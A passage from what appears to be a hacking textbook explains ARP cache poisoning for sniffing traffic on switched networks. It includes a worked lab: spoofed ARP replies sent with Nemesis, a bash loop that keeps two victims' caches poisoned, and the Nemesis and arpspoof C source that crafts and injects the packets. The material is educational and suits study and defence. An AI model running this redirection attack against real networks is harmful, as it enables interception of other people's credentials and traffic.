With the headers decoded and separated into layers, the TCP/IP connection is much easier to understand. Notice which IP addresses are associated with which MAC address. Also, notice how the sequence number in the two packets from 192.168.42.1 (the first and last packet) increases by nine, since the first packet contained nine bytes of actual data: 2887045283 – 2887045274 = 9. This is used by the TCP protocol to make sure all of the data arrives in order, since packets could be delayed for various reasons.
Despite all of the mechanisms built into the packet headers, the packets are still visible to anyone on the same network segment. Protocols such as FTP, POP3, and telnet transmit data without encryption. Even without the assistance of a tool like dsniff, it's fairly trivial for an attacker sniffing the network to find the usernames and passwords in these packets and use them to compromise other systems. From a security perspective, this isn't too good, so more intelligent switches provide switched network environments.
In a switched network environment, packets are only sent to the port they are destined for, according to their destination MAC addresses. This requires more intelligent hardware that can create and maintain a table associating MAC addresses with certain ports, depending on which device is connected to each port, as illustrated here.
The advantage of a switched environment is that devices are only sent packets that are meant for them, so that promiscuous devices aren't able to sniff any additional packets. But even in a switched environment, there are clever ways to sniff other devices' packets; they just tend to be a bit more complex. In order to find hacks like these, the details of the protocols must be examined and then combined.
One important aspect of network communications that can be manipulated for interesting effects is the source address. There's no provision in these protocols to ensure that the source address in a packet really is the address of the source machine. The act of forging a source address in a packet is known as spoofing. The addition of spoofing to your bag of tricks greatly increases the number of possible hacks, since most systems expect the source address to be valid.
Spoofing is the first step in sniffing packets on a switched network. The other two interesting details are found in ARP. First, when an ARP reply comes in with an IP address that already exists in the ARP cache, the receiving system will overwrite the prior MAC address information with the new information found in the reply (unless that entry in the ARP cache was explicitly marked as permanent). Second, no state information about the ARP traffic is kept, since this would require additional memory and would complicate a protocol that is meant to be simple. This means systems will accept an ARP reply even if they didn't send out an ARP request.
These three details, when exploited properly, allow an attacker to sniff network traffic on a switched network using a technique known as ARP redirection. The attacker sends spoofed ARP replies to certain devices that cause the ARP cache entries to be overwritten with the attacker's data. This technique is called ARP cache poisoning. In order to sniff network traffic between two points, A and B, the attacker needs to poison the ARP cache of A to cause A to believe that B's IP address is at the attacker's MAC address, and also poison the ARP cache of B to cause B to believe that A's IP address is also at the attacker's MAC address. Then the attacker's machine simply needs to forward these packets to their appropriate final destinations. After that, all of the traffic between A and B still gets delivered, but it all flows through the attacker's machine, as shown here.
Since A and B are wrapping their own Ethernet headers on their packets based on their respective ARP caches, A's IP traffic meant for B is actually sent to the attacker's MAC address, and vice versa. The switch only filters traffic based on MAC address, so the switch will work as it's designed to, sending A's and B's IP traffic, destined for the attacker's MAC address, to the attacker's port. Then the attacker rewraps the IP packets with the proper Ethernet headers and sends them back to the switch, where they are finally routed to their proper destination. The switch works properly; it's the victim machines that are tricked into redirecting their traffic through the attacker's machine.
Due to timeout values, the victim machines will periodically send out real ARP requests and receive real ARP replies in response. In order to maintain the redirection attack, the attacker must keep the victim machine's ARP caches poisoned. A simple way to accomplish this is to send spoofed ARP replies to both A and B at a constant interval—for example, every 10 seconds.
A gateway is a system that routes all the traffic from a local network out to the Internet. ARP redirection is particularly interesting when one of the victim machines is the default gateway, since the traffic between the default gateway and another system is that system's Internet traffic. For example, if a machine at 192.168.0.118 is communicating with the gateway at 192.168.0.1 over a switch, the traffic will be restricted by MAC address. This means that this traffic cannot normally be sniffed, even in promiscuous mode. In order to sniff this traffic, it must be redirected.
To redirect the traffic, first the MAC addresses of 192.168.0.118 and 192.168.0.1 need to be determined. This can be done by pinging these hosts, since any IP connection attempt will use ARP. If you run a sniffer, you can see the ARP communications, but the OS will cache the resulting IP/MAC address associations.
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
--- 192.168.0.118 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
reader@hacking:~/booksrc $ arp -na
? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0
reader@hacking:~/booksrc $ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000
reader@hacking:~/booksrc $After pinging, the MAC addresses for both 192.168.0.118 and 192.168.0.1 are in the attacker's ARP cache. This way, packets can reach their final destinations after being redirected to the attacker's machine. Assuming IP forwarding capabilities are compiled into the kernel, all we need to do is send some spoofed ARP replies at regular intervals. 192.168.0.118 needs to be told that 192.168.0.1 is at 00:00:AD:D1:C7:ED, and 192.168.0.1 needs to be told that 192.168.0.118 is also at 00:00:AD:D1:C7:ED. These spoofed ARP packets can be injected using a command-line packet injection tool called Nemesis. Nemesis was originally a suite of tools written by Mark Grimes, but in the most recent version 1.4, all functionality has been rolled up into a single utility by the new maintainer and developer, Jeff Nathan. The source code for Nemesis is on the LiveCD at /usr/src/nemesis-1.4/, and it has already been built and installed.
reader@hacking:~/booksrc $ nemesis
NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26)
NEMESIS Usage:
nemesis [mode] [options]
NEMESIS modes:
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp
NEMESIS options:
To display options, specify a mode with the option "help".
reader@hacking:~/booksrc $ nemesis arp help
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
ARP/RARP Usage:
arp [-v (verbose)] [options]
ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-s <Solaris style ARP requests with target hardware addess set to broadcast>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
You must define a Source and Destination IP address.
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D
192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -
M 00:C0:F0:79:3D:30
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 192.168.0.1 > 192.168.0.118
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB
ARP Packet Injected
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D
192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M
00:50:18:00:0F:01
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 192.168.0.118 > 192.168.0.1
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
ARP Packet Injected
reader@hacking:~/booksrc $These two commands spoof ARP replies from 192.168.0.1 to 192.168.0.118 and vice versa, both claiming that their MAC address is at the attacker's MAC address of 00:00:AD:D1:C7:ED. If these commands are repeated every 10 seconds, these bogus ARP replies will continue to keep the ARP caches poisoned and the traffic redirected. The standard BASH shell allows commands to be scripted, using familiar control flow statements. A simple BASH shell while loop is used below to loop forever, sending our two poisoning ARP replies every 10 seconds.
reader@hacking:~/booksrc $ while true > do > sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 > sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 > echo "Redirecting..." > sleep 10 > done ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected Redirecting...
You can see how something as simple as Nemesis and the standard BASH shell can be used to quickly hack together a network exploit. Nemesis uses a C library called libnet to craft spoofed packets and inject them. Similar to libpcap, this library uses raw sockets and evens out the inconsistencies between platforms with a standardized interface. libnet also provides several convenient functions for dealing with network packets, such as checksum generation.
The libnet library provides a simple and uniform API to craft and inject network packets. It's well documented and the functions have descriptive names. A high-level glance at the source code for Nemesis shows how easy it is to craft ARP packets using libnet. The source file nemesis-arp.c contains several functions for crafting and injecting ARP packets, using statically defined data structures for the packet header information. The nemesis_arp() function shown below is called in nemesis.c to build and inject an ARP packet.
static ETHERhdr etherhdr;static ARPhdr arphdr;... void nemesis_arp(int argc, char **argv) { const char *module= "ARP/RARP Packet Injection"; nemesis_maketitle(title, module, version); if (argc > 1 && !strncmp(argv[1], "help", 4)) arp_usage(argv[0]);arp_initdata(); arp_cmdline(argc, argv); arp_validatedata(); arp_verbose();if (got_payload) { if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, (const u_int32_t)PAYLOADMODE) < 0) arp_exit(1); }if (buildarp(ðerhdr, &arphdr, &pd, device, reply) < 0) { printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP")); arp_exit(1); } else { printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP")); arp_exit(0); }}
The structures ETHERhdr and ARPhdr are defined in the file nemesis.h (shown below) as aliases for existing libnet data structures. In C, typedef is used to alias a data type with a symbol.
typedef struct libnet_arp_hdr ARPhdr;
typedef struct libnet_as_lsa_hdr ASLSAhdr;
typedef struct libnet_auth_hdr AUTHhdr;
typedef struct libnet_dbd_hdr DBDhdr;
typedef struct libnet_dns_hdr DNShdr;
typedef struct libnet_ethernet_hdr ETHERhdr;
typedef struct libnet_icmp_hdr ICMPhdr;
typedef struct libnet_igmp_hdr IGMPhdr;
typedef struct libnet_ip_hdr IPhdr;The nemesis_arp() function calls a series of other functions from this file: arp_initdata(), arp_cmdline(), arp_validatedata(), and arp_verbose(). You can probably guess that these functions initialize data, process command-line arguments, validate data, and do some sort of verbose reporting. The arp_initdata() function does exactly this, initializing values in statically declared data structures.
The arp_initdata() function, shown below, sets various elements of the header structures to the appropriate values for an ARP packet.
static void arp_initdata(void)
{
/* defaults */
etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */
memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */
memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet destination address */
arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */
arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */
arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */
arphdr.ar_hln = 6; /* 6 byte hardware addresses */
arphdr.ar_pln = 4; /* 4 byte protocol addresses */
memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */
memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */
memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */
memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */
pd.file_mem = NULL;
pd.file_s = 0;
return;
}Finally, the nemesis_arp() function calls the function buildarp() with pointers to the header data structures. Judging from the way the return value from buildarp() is handled here, buildarp() builds the packet and injects it. This function is found in yet another source file, nemesis-proto_arp.c.
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,
int reply)
{
int n = 0;
u_int32_t arp_packetlen;
static u_int8_t *pkt;
struct libnet_link_int *l2 = NULL;
/* validation tests */
if (pd->file_mem == NULL)
pd->file_s = 0;
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
#ifdef DEBUG
printf("DEBUG: ARP packet length %u.\n", arp_packetlen);
printf("DEBUG: ARP payload size %u.\n", pd->file_s);
#endif
if ((l2 = libnet_open_link_interface(device, errbuf) ) == NULL)
{
nemesis_device_failure(INJECTION_LINK, (const char *)device);
return -1;
}
if (libnet_init_packet(arp_packetlen, &pkt) == -1)
{
fprintf(stderr, "ERROR: Unable to allocate packet memory.\n");
return -1;
}
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type,
NULL, 0, pkt);
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln,
arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa,
pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H);
n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +
LIBNET_ARP_H + pd->file_s);
if (verbose == 2)
nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
if (n != arp_packetlen)
{
fprintf(stderr, "ERROR: Incomplete packet injection. Only "
"wrote %d bytes.\n", n);
}
else
{
if (verbose)
{
if (memcmp(eth->ether_dhost, (void *)&one, 6))
{
printf("Wrote %d byte unicast ARP request packet through "
"linktype %s.\n", n,
nemesis_lookup_linktype(l2->linktype));
}
else
{
printf("Wrote %d byte %s packet through linktype %s.\n", n,
(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"),
nemesis_lookup_linktype(l2->linktype));
}
}
}
libnet_destroy_packet(&pkt);
if (l2 != NULL)
libnet_close_link_interface(l2);
return (n);
}At a high level, this function should be readable to you. Using libnet functions, it opens a link interface and initializes memory for a packet. Then, it builds the Ethernet layer using elements from the Ethernet header data structure and then does the same for the ARP layer. Next, it writes the packet to the device to inject it, and finally cleans up by destroying the packet and closing the interface. The documentation for these functions from the libnet man page is shown below for clarity.
libnet_open_link_interface()opens a low-level packet interface. This is required to write link layer frames. Supplied is a u_char pointer to the interface device name and a u_char pointer to an error buffer. Returned is a filled in libnet_link_int struct or NULL on error.libnet_init_packet()initializes a packet for use. If the size parameter is omitted (or negative) the library will pick a reasonable value for the user (currently LIBNET_MAX_PACKET). If the memory allocation is successful, the memory is zeroed and the function returns 1. If there is an error, the function returns -1. Since this function calls malloc, you certainly should, at some point, make a corresponding call to destroy_packet().libnet_build_ethernet()constructs an ethernet packet. Supplied is the destination address, source address (as arrays of unsigned characterbytes) and the ethernet frame type, a pointer to an optional data payload, the payload length, and a pointer to a pre-allocated block of memory for the packet. The ethernet packet type should be one of the following: Value Type ETHERTYPE_PUP PUP protocol ETHERTYPE_IP IP protocol ETHERTYPE_ARP ARP protocol ETHERTYPE_REVARP Reverse ARP protocol ETHERTYPE_VLAN IEEE VLAN tagging ETHERTYPE_LOOPBACK Used to test interfaceslibnet_build_arp()constructs an ARP (Address Resolution Protocol) packet. Supplied are the following: hardware address type, protocol address type, the hardware address length, the protocol address length, the ARP packet type, the sender hardware address, the sender protocol address, the target hardware address, the target protocol address, the packet payload, the payload size, and finally, a pointer to the packet header memory. Note that this function only builds ethernet/IP ARP packets, and consequently the first value should be ARPHRD_ETHER. The ARP packet type should be one of the following: ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY, ARPOP_INVREQUEST, or ARPOP_INVREPLY.libnet_destroy_packet()frees the memory associated with the packet.libnet_close_link_interface()closes an opened low-level packet interface. Returned is 1 upon success or -1 on error.
With a basic understanding of C, API documentation, and common sense, you can teach yourself just by examining open source projects. For example, Dug Song provides a program called arpspoof, included with dsniff, that performs the ARP redirection attack.
NAME
arpspoof - intercept packets on a switched LAN
SYNOPSIS
arpspoof [-i interface] [-t target] host
DESCRIPTION
arpspoof redirects packets from a target host (or all hosts) on the LAN
intended for another host on the LAN by forging ARP replies. This is
an extremely effective way of sniffing traffic on a switch.
Kernel IP forwarding (or a userland program which accomplishes the
same, e.g. fragrouter(8)) must be turned on ahead of time.
OPTIONS
-i interface
Specify the interface to use.
-t target
Specify a particular host to ARP poison (if not specified, all
hosts on the LAN).
host Specify the host you wish to intercept packets for (usually the
local gateway).
SEE ALSO
dsniff(8), fragrouter(8)
AUTHOR
Dug Song <dugsong@monkey.org>The magic of this program comes from its arp_send() function, which also uses libnet to spoof packets. The source code for this function should be readable to you, since many of the previously explained libnet functions are used (shown in bold below). The use of structures and an error buffer should also be familiar.
static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
...
int
arp_send(struct libnet_link_int *llif, char *dev,
int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];
if (sha == NULL &&
(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
return (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
NULL, 0, pkt + ETH_H);
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)sha));
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}The remaining libnet functions get hardware addresses, get the IP address, and look up hosts. These functions have descriptive names and are explained in detail on the libnet man page.
libnet_get_hwaddr()takes a pointer to a link layer interface struct, a pointer to the network device name, and an empty buffer to be used in case of error. The function returns the MAC address of the specified interface upon success or 0 upon error (and errbuf will contain a reason).libnet_get_ipaddr()takes a pointer to a link layer interface struct, a pointer to the network device name, and an empty buffer to be used in case of error. Upon success the function returns the IP address of the specified interface in host-byte order or 0 upon error (and errbuf will contain a reason).libnet_host_lookup()converts the supplied network-ordered (big-endian) IPv4 address into its human-readable counterpart. If use_name is 1, libnet_host_lookup() will attempt to resolve this IP address and return a hostname, otherwise (or if the lookup fails), the function returns a dotted- decimal ASCII string.
Once you've learned how to read C code, existing programs can teach you a lot by example. Programming libraries like libnet and libpcap have plenty of documentation that explains all the details you may not be able to divine from the source alone. The goal here is to teach you how to learn from source code, as opposed to just teaching how to use a few libraries. After all, there are many other libraries and a lot of existing source code that uses them.